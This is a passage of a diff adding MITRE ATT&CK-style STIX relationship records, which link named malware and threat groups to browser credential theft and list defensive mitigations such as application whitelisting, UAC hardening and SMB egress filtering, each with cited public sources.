"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft Install Password Filter n.d", + "description": "Microsoft. (n.d.). Installing and Registering a Password Filter DLL. Retrieved November 21, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can steal credentials from the victim's browser.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T16:46:55.846Z", + "id": "relationship--4ffe77f2-8b05-40ff-b572-f7c0b9040571", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "modified": "2019-07-26T23:22:28.704Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has used a plug-in to gather credentials from web browsers including FireFox, Google Chrome, and Internet Explorer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T17:08:51.561Z", + "id": "relationship--0d4d7376-5bda-44bc-b90d-0a065bb99433", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.561Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "source_name": "F-Secure BlackEnergy 2014", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + }, + { + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "source_name": "Securelist BlackEnergy Nov 2014", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41", + "description": "Upgrade to Windows 8 or later and enable secure boot.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T17:11:15.854Z", + "id": "relationship--1f9af9c5-7862-47f9-9ee7-6a15fbe8c745", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "modified": "2019-07-16T19:09:25.435Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "Empire can use modules that extract passwords from common web browsers such as Firefox and Chrome.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T17:15:43.981Z", + "id": "relationship--b97afcfc-489a-4d59-89b3-1533eae926e0", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:43.981Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "[jRAT](https://attack.mitre.org/software/S0283) can capture passwords from common web browsers such as Internet Explorer, Google Chrome, and Firefox.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T17:20:24.258Z", + "id": "relationship--890f944f-190d-456d-b194-f5ecb17a0868", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.258Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "Audit and/or block unnecessary command-line interpreters by using application whitelisting tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T18:00:41.676Z", + "id": "relationship--87fd0088-41da-47ac-bd69-a8ac151a0d39", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-16T20:46:59.483Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "source_name": "Microsoft Windows Defender Application Control", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "Ensure proper process, Registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T18:14:59.907Z", + "id": "relationship--5d6f47e1-d48a-4efc-b4fb-56a23e6b5d8b", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-17T19:02:55.302Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has run a tool that steals passwords saved in victim web browsers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T18:55:39.462Z", + "id": "relationship--885cab64-2589-4917-95ab-4ae5a2b75cd3", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:59.086Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "source_name": "Symantec MuddyWater Dec 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "[njRAT](https://attack.mitre.org/software/S0385) has a module that steals passwords saved in victim web browsers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T18:57:11.074Z", + "id": "relationship--07773227-54d9-4476-877a-739c490b7b65", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.074Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + }, + { + "description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.", + "source_name": "Trend Micro njRAT 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/" + }, + { + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "source_name": "Citizen Lab Group5", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "[Proton](https://attack.mitre.org/software/S0279) gathers credentials for Google Chrome.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T19:03:52.597Z", + "id": "relationship--9ca71386-44e2-41e5-aecf-796de464855d", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "modified": "2019-06-24T19:03:52.597Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can obtain passwords from common web browsers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T19:05:41.430Z", + "id": "relationship--360f1c0d-c6ec-4d49-92a0-e8ce63559960", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "modified": "2019-06-24T19:05:41.430Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) searches for credentials stored from web browsers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T19:07:12.496Z", + "id": "relationship--44aeb943-8861-4018-a93b-beeb393bfa8f", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "modified": "2019-06-24T19:07:12.496Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) has used tools that are capable of obtaining credentials from web browsers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T19:09:46.205Z", + "id": "relationship--6b5859b0-f1f0-4ad9-85b9-2095eb885e3b", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "modified": "2019-06-24T19:09:46.205Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has used malware to gather credentials from Internet Explorer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T19:11:41.147Z", + "id": "relationship--9e27c930-eba5-467f-90e5-4ec5b4219735", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.147Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) can obtain passwords stored in files from web browsers such as Chrome, Firefox, Internet Explorer, and Microsoft Edge.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T19:15:06.328Z", + "id": "relationship--f0dd2703-4846-47b5-a8d8-471f70f9968e", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.328Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T19:18:56.129Z", + "id": "relationship--aba9ea33-32fb-4fb6-a7af-3d8902596fc8", + "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", + "modified": "2019-06-24T19:18:56.129Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. Identify and block potentially malicious software executed through regsvr32 functionality by using application whitelisting tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T19:30:29.641Z", + "id": "relationship--9a9e2939-8974-4d6a-a584-87120df6e5ec", + "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", + "modified": "2019-07-31T19:31:55.062Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secure Host Baseline EMET", + "description": "National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.", + "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "source_name": "Microsoft Windows Defender Application Control", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302", + "description": "Regsvcs and Regasm may not be necessary within a given environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T19:32:19.533Z", + "id": "relationship--08e9dd54-cd91-440e-84d0-f86494ad0a3a", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-07-31T19:26:36.112Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a", + "description": "Turn off UAC's privilege elevation for standard users [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000. Consider enabling installer detection for all users by adding: \"EnableInstallerDetection\"=dword:00000001. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: \"EnableInstallerDetection\"=dword:00000000. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T19:32:28.527Z", + "id": "relationship--36c6dd87-edf2-4b98-b446-6baf2276563f", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "modified": "2019-07-17T21:22:37.310Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Seclists Kanthak 7zip Installer", + "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.", + "url": "http://seclists.org/fulldisclosure/2015/Dec/34" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a", + "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T19:32:28.541Z", + "id": "relationship--35923be5-bb44-4641-a1d1-8255eb423537", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-07-17T21:22:37.313Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2", + "description": "Use strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T19:53:23.756Z", + "id": "relationship--6537d47a-80c0-442b-a1ec-3451d078a2a9", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "modified": "2019-09-16T17:15:43.968Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2", + "description": "\nBlock SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T19:53:23.769Z", + "id": "relationship--85c9285a-6738-42dd-aa12-fbded3e7bbdb", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "modified": "2019-09-16T17:15:43.983Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT SMB Security", + "description": "US-CERT. (2017, March 16). SMB Security Best Practices. Retrieved December 21, 2017.", + "url": "https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T11:24:45.251Z", + "id": "relationship--3359cfe3-0d04-4fb8-9f2f-1b049bc10cf4", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-10-09T20:08:19.776Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300", + "description": "Holding the Shift key while logging in prevents apps from opening automatically.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T11:28:27.295Z", + "id": "relationship--20e67eaa-23c3-4743-a907-4ec6d6505806", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "modified": "2019-06-25T11:28:27.295Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300", + "description": "This feature can be disabled entirely with the following terminal command: defaults write -g ApplePersistence -bool no.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T11:28:27.310Z", + "id": "relationship--20a0028d-1e5b-49da-a56c-a8a611a20093", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-06-25T11:28:27.310Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "description": "Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T11:44:21.264Z", + "id": "relationship--bcb80880-d429-49b3-b9ca-7f7d94812dc4", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-18T17:21:53.008Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "description": "Use strong passphrases for private keys to make cracking difficult.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T11:44:21.278Z", + "id": "relationship--3afb3225-b6f9-439c-82dd-5cdc464ac34f", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "modified": "2019-07-18T17:21:53.004Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "description": "Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T11:44:21.285Z", + "id": "relationship--8e6ec081-8124-4e3a-833c-30efe8b510fe", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-07-18T17:21:53.022Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "description": "Ensure only authorized keys are allowed access to critical resources and audit access lists regularly.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T11:44:21.287Z", + "id": "relationship--80f7f387-a40c-4158-a509-9308263b32ed", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-07-18T17:21:53.020Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative 